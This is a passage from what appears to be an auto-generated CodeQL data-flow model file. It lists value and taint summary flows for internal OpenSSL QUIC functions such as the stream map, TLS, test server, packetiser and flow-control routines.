"(QUIC_STREAM_MAP *)", "", "Argument[*0].Field[*num_accept_bidi]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_get_total_accept_queue_len", "(QUIC_STREAM_MAP *)", "", "Argument[*0].Field[*num_accept_uni]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[**2]", "Argument[*0].Field[***get_stream_limit_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[*2]", "Argument[*0].Field[**get_stream_limit_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[*3]", "Argument[*0].Field[**max_streams_bidi_rxfc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[*4]", "Argument[*0].Field[**max_streams_uni_rxfc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[1]", "Argument[*0].Field[*get_stream_limit_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[2]", "Argument[*0].Field[*get_stream_limit_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[3]", "Argument[*0].Field[*max_streams_bidi_rxfc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[4]", "Argument[*0].Field[*max_streams_uni_rxfc]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_init", "(QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int)", "", "Argument[5]", "Argument[*0].Field[*is_server]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_notify_reset_recv_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*rr_cur]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_notify_reset_recv_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t,uint64_t)", "", "Argument[2]", "Argument[*0].Field[**rr_cur].Field[*peer_reset_stream_aec]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_notify_reset_recv_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t,uint64_t)", "", "Argument[2]", "Argument[*1].Field[*peer_reset_stream_aec]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_peek_accept_queue", "(QUIC_STREAM_MAP *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_stream_map_peek_accept_queue", "(QUIC_STREAM_MAP *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_stream_map_push_accept_queue", "(QUIC_STREAM_MAP *,QUIC_STREAM *)", "", "Argument[*1].Field[*accept_node]", "Argument[*0].Field[*accept_list].Field[**prev]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_reset_stream_send_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*rr_cur]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_reset_stream_send_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t)", "", "Argument[2]", "Argument[*0].Field[**rr_cur].Field[*reset_stream_aec]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_reset_stream_send_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t)", "", "Argument[2]", "Argument[*1].Field[*reset_stream_aec]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_schedule_stop_sending", "(QUIC_STREAM_MAP *,QUIC_STREAM *)", "", "Argument[1]", "Argument[*0].Field[*rr_cur]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_set_rr_stepping", "(QUIC_STREAM_MAP *,size_t)", "", "Argument[1]", "Argument[*0].Field[*rr_stepping]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_stop_sending_recv_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*rr_cur]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_stop_sending_recv_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t)", "", "Argument[2]", "Argument[*0].Field[**rr_cur].Field[*stop_sending_aec]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_stop_sending_recv_part", "(QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t)", "", "Argument[2]", "Argument[*1].Field[*stop_sending_aec]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_stream_map_update_state", "(QUIC_STREAM_MAP *,QUIC_STREAM *)", "", "Argument[1]", "Argument[*0].Field[*rr_cur]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_thread_assist_init_start", "(QUIC_THREAD_ASSIST *,QUIC_CHANNEL *)", "", "Argument[0]", "Argument[*0].Field[**t].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_thread_assist_init_start", "(QUIC_THREAD_ASSIST *,QUIC_CHANNEL *)", "", "Argument[1]", "Argument[*0].Field[*ch]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tls_get_error", "(QUIC_TLS *,uint64_t *,const char **,ERR_STATE **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_tls_get_error", "(QUIC_TLS *,uint64_t *,const char **,ERR_STATE **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_tls_get_error", "(QUIC_TLS *,uint64_t *,const char **,ERR_STATE **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_tls_get_error", "(QUIC_TLS *,uint64_t *,const char **,ERR_STATE **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_tls_get_error", "(QUIC_TLS *,uint64_t *,const char **,ERR_STATE **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_tls_get_error", "(QUIC_TLS *,uint64_t *,const char **,ERR_STATE **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_quic_tls_new", "(const QUIC_TLS_ARGS *)", "", "Argument[*0]", "ReturnValue[*].Field[*args]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tls_new", "(const QUIC_TLS_ARGS *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tls_new", "(const QUIC_TLS_ARGS *)", "", "Argument[0]", "ReturnValue[*].Field[*args]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tls_set_transport_params", "(QUIC_TLS *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**local_transport_params]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tls_set_transport_params", "(QUIC_TLS *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*local_transport_params]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tls_set_transport_params", "(QUIC_TLS *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*local_transport_params_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_get0_rbio", "(QUIC_TSERVER *)", "", "Argument[*0].Field[*args].Field[**net_rbio]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_get0_rbio", "(QUIC_TSERVER *)", "", "Argument[*0].Field[*args].Field[*net_rbio]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_get0_ssl_ctx", "(QUIC_TSERVER *)", "", "Argument[*0].Field[**ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_get0_ssl_ctx", "(QUIC_TSERVER *)", "", "Argument[*0].Field[*ctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_get_channel", "(QUIC_TSERVER *)", "", "Argument[*0].Field[**ch]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_get_channel", "(QUIC_TSERVER *)", "", "Argument[*0].Field[*ch]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_get_terminate_cause", "(const QUIC_TSERVER *)", "", "Argument[*0].Field[**ch].Field[*terminate_cause]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_is_handshake_confirmed", "(const QUIC_TSERVER *)", "", "Argument[*0].Field[**ch].Field[*handshake_confirmed]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_new", "(const QUIC_TSERVER_ARGS *,const char *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_new", "(const QUIC_TSERVER_ARGS *,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*args]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_read", "(QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_read", "(QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_read", "(QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *)", "", "Argument[3]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_read", "(QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_max_early_data", "(QUIC_TSERVER *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[**tls].Field[*max_early_data]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_msg_callback", "(QUIC_TSERVER *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[**ch].Field[***msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_msg_callback", "(QUIC_TSERVER *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**ch].Field[**msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_msg_callback", "(QUIC_TSERVER *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[**ch].Field[*msg_callback]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_msg_callback", "(QUIC_TSERVER *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[**ch].Field[*msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_new_local_cid", "(QUIC_TSERVER *,const QUIC_CONN_ID *)", "", "Argument[*1]", "Argument[*0].Field[**ch].Field[*cur_local_cid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_new_local_cid", "(QUIC_TSERVER *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*0].Field[**ch].Field[*cur_local_cid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_new_local_cid", "(QUIC_TSERVER *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_set_psk_find_session_cb", "(QUIC_TSERVER *,SSL_psk_find_session_cb_func)", "", "Argument[1]", "Argument[*0].Field[**tls].Field[*psk_find_session_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_stream_new", "(QUIC_TSERVER *,int,uint64_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_tserver_write", "(QUIC_TSERVER *,uint64_t,const unsigned char *,size_t,size_t *)", "", "Argument[3]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tserver_write", "(QUIC_TSERVER *,uint64_t,const unsigned char *,size_t,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_add_unvalidated_credit", "(OSSL_QUIC_TX_PACKETISER *,size_t)", "", "Argument[1]", "Argument[*0].Field[*unvalidated_credit]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_consume_unvalidated_credit", "(OSSL_QUIC_TX_PACKETISER *,size_t)", "", "Argument[1]", "Argument[*0].Field[*unvalidated_credit]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_get_next_pn", "(OSSL_QUIC_TX_PACKETISER *,uint32_t)", "", "Argument[*0].Field[*next_pn]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_get_next_pn", "(OSSL_QUIC_TX_PACKETISER *,uint32_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_new", "(const OSSL_QUIC_TX_PACKETISER_ARGS *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_new", "(const OSSL_QUIC_TX_PACKETISER_ARGS *)", "", "Argument[0]", "ReturnValue[*].Field[*args]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_record_received_closing_bytes", "(OSSL_QUIC_TX_PACKETISER *,size_t)", "", "Argument[1]", "Argument[*0].Field[*closing_bytes_recv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_schedule_ack", "(OSSL_QUIC_TX_PACKETISER *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*want_ack]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_schedule_ack_eliciting", "(OSSL_QUIC_TX_PACKETISER *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*force_ack_eliciting]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_schedule_conn_close", "(OSSL_QUIC_TX_PACKETISER *,const OSSL_QUIC_FRAME_CONN_CLOSE *)", "", "Argument[1]", "Argument[*0].Field[*conn_close_frame]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_schedule_conn_close", "(OSSL_QUIC_TX_PACKETISER *,const OSSL_QUIC_FRAME_CONN_CLOSE *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_ack_tx_cb", "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***ack_tx_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_ack_tx_cb", "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**ack_tx_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_ack_tx_cb", "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*ack_tx_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_ack_tx_cb", "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*ack_tx_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_cur_dcid", "(OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *)", "", "Argument[*1]", "Argument[*0].Field[*args].Field[*cur_dcid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_cur_dcid", "(OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*0].Field[*args].Field[*cur_dcid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_cur_dcid", "(OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_cur_scid", "(OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *)", "", "Argument[*1]", "Argument[*0].Field[*args].Field[*cur_scid]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_cur_scid", "(OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*0].Field[*args].Field[*cur_scid]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_cur_scid", "(OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_initial_token", "(OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *)", "", "Argument[**4]", "Argument[*0].Field[***initial_token_free_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_initial_token", "(OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *)", "", "Argument[*1]", "Argument[*0].Field[**initial_token]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_initial_token", "(OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *)", "", "Argument[*4]", "Argument[*0].Field[**initial_token_free_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_initial_token", "(OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *)", "", "Argument[1]", "Argument[*0].Field[*initial_token]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_initial_token", "(OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *)", "", "Argument[2]", "Argument[*0].Field[*initial_token_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_initial_token", "(OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *)", "", "Argument[3]", "Argument[*0].Field[*initial_token_free_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_initial_token", "(OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *)", "", "Argument[4]", "Argument[*0].Field[*initial_token_free_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_msg_callback", "(OSSL_QUIC_TX_PACKETISER *,ossl_msg_cb,SSL *)", "", "Argument[*2]", "Argument[*0].Field[**msg_callback_ssl]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_msg_callback", "(OSSL_QUIC_TX_PACKETISER *,ossl_msg_cb,SSL *)", "", "Argument[1]", "Argument[*0].Field[*msg_callback]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_msg_callback", "(OSSL_QUIC_TX_PACKETISER *,ossl_msg_cb,SSL *)", "", "Argument[2]", "Argument[*0].Field[*msg_callback_ssl]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_msg_callback_arg", "(OSSL_QUIC_TX_PACKETISER *,void *)", "", "Argument[**1]", "Argument[*0].Field[***msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_msg_callback_arg", "(OSSL_QUIC_TX_PACKETISER *,void *)", "", "Argument[*1]", "Argument[*0].Field[**msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_msg_callback_arg", "(OSSL_QUIC_TX_PACKETISER *,void *)", "", "Argument[1]", "Argument[*0].Field[*msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_protocol_version", "(OSSL_QUIC_TX_PACKETISER *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*args].Field[*protocol_version]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_qlog_cb", "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[*fifd].Field[***get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_qlog_cb", "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[*fifd].Field[**get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_qlog_cb", "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*fifd].Field[*get_qlog_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_tx_packetiser_set_qlog_cb", "(OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*fifd].Field[*get_qlog_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_bump_cwm", "(QUIC_TXFC *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*cwm]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_consume_credit", "(QUIC_TXFC *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[**parent].Field[*swm]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_consume_credit", "(QUIC_TXFC *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*swm]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_consume_credit_local", "(QUIC_TXFC *,uint64_t)", "", "Argument[*0].Field[*cwm]", "Argument[*0].Field[*swm]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_consume_credit_local", "(QUIC_TXFC *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*swm]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_get_credit", "(QUIC_TXFC *,uint64_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_get_credit_local", "(QUIC_TXFC *,uint64_t)", "", "Argument[*0].Field[*cwm]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_get_credit_local", "(QUIC_TXFC *,uint64_t)", "", "Argument[*0].Field[*swm]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_get_credit_local", "(QUIC_TXFC *,uint64_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_get_cwm", "(QUIC_TXFC *)", "", "Argument[*0].Field[*cwm]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_get_parent", "(QUIC_TXFC *)", "", "Argument[*0].Field[**parent]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_get_parent", "(QUIC_TXFC *)", "", "Argument[*0].Field[*parent]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_get_swm", "(QUIC_TXFC *)", "", "Argument[*0].Field[*swm]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_has_become_blocked", "(QUIC_TXFC *,int)", "", "Argument[*0].Field[*has_become_blocked]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_init", "(QUIC_TXFC *,QUIC_TXFC *)", "", "Argument[*1]", "Argument[*0].Field[**parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txfc_init", "(QUIC_TXFC *,QUIC_TXFC *)", "", "Argument[1]", "Argument[*0].Field[*parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_get_in_use", "(const QUIC_TXPIM *)", "", "Argument[*0].Field[*in_use]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_add_cfq_item", "(QUIC_TXPIM_PKT *,QUIC_CFQ_ITEM *)", "", "Argument[*1]", "Argument[*0].Field[**retx_head]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_add_cfq_item", "(QUIC_TXPIM_PKT *,QUIC_CFQ_ITEM *)", "", "Argument[1]", "Argument[*0].Field[*retx_head]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_append_chunk", "(QUIC_TXPIM_PKT *,const QUIC_TXPIM_CHUNK *)", "", "Argument[*1]", "Argument[*0].Field[**chunks]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_append_chunk", "(QUIC_TXPIM_PKT *,const QUIC_TXPIM_CHUNK *)", "", "Argument[1]", "Argument[*0].Field[**chunks]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_append_chunk", "(QUIC_TXPIM_PKT *,const QUIC_TXPIM_CHUNK *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_get_chunks", "(const QUIC_TXPIM_PKT *)", "", "Argument[*0].Field[**chunks]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_get_chunks", "(const QUIC_TXPIM_PKT *)", "", "Argument[*0].Field[*chunks]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_get_num_chunks", "(const QUIC_TXPIM_PKT *)", "", "Argument[*0].Field[*num_chunks]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_release", "(QUIC_TXPIM *,QUIC_TXPIM_PKT *)", "", "Argument[1]", "Argument[*0].Field[*free_list].Field[*head]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_release", "(QUIC_TXPIM *,QUIC_TXPIM_PKT *)", "", "Argument[1]", "Argument[*0].Field[*free_list].Field[*tail]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_txpim_pkt_release", "(QUIC_TXPIM *,QUIC_TXPIM_PKT *)", "", "Argument[1]", "Argument[*1].Field[**prev].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_validate_retry_integrity_tag", "(OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *)", "", "Argument[*3].Field[*id]", "Argument[*3].Field[**id]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_validate_retry_integrity_tag", "(OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_vlint_decode", "(const unsigned char *,size_t,uint64_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_vlint_decode", "(const unsigned char *,size_t,uint64_t *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_vlint_decode", "(const unsigned char *,size_t,uint64_t *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_vlint_decode", "(const unsigned char *,size_t,uint64_t *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_vlint_decode_unchecked", "(const unsigned char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_vlint_decode_unchecked", "(const unsigned char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_vlint_encode", "(uint8_t *,unsigned char *,uint64_t)", "", "Argument[1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_vlint_encode_n", "(uint8_t *,unsigned char *,uint64_t,int)", "", "Argument[1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_ack", "(PACKET *,uint32_t,OSSL_QUIC_FRAME_ACK *,uint64_t *)", "", "Argument[1]", "Argument[*2].Field[*delay_time].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_conn_close", "(PACKET *,OSSL_QUIC_FRAME_CONN_CLOSE *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_crypto", "(PACKET *,int,OSSL_QUIC_FRAME_CRYPTO *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_crypto", "(PACKET *,int,OSSL_QUIC_FRAME_CRYPTO *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_wire_decode_frame_data_blocked", 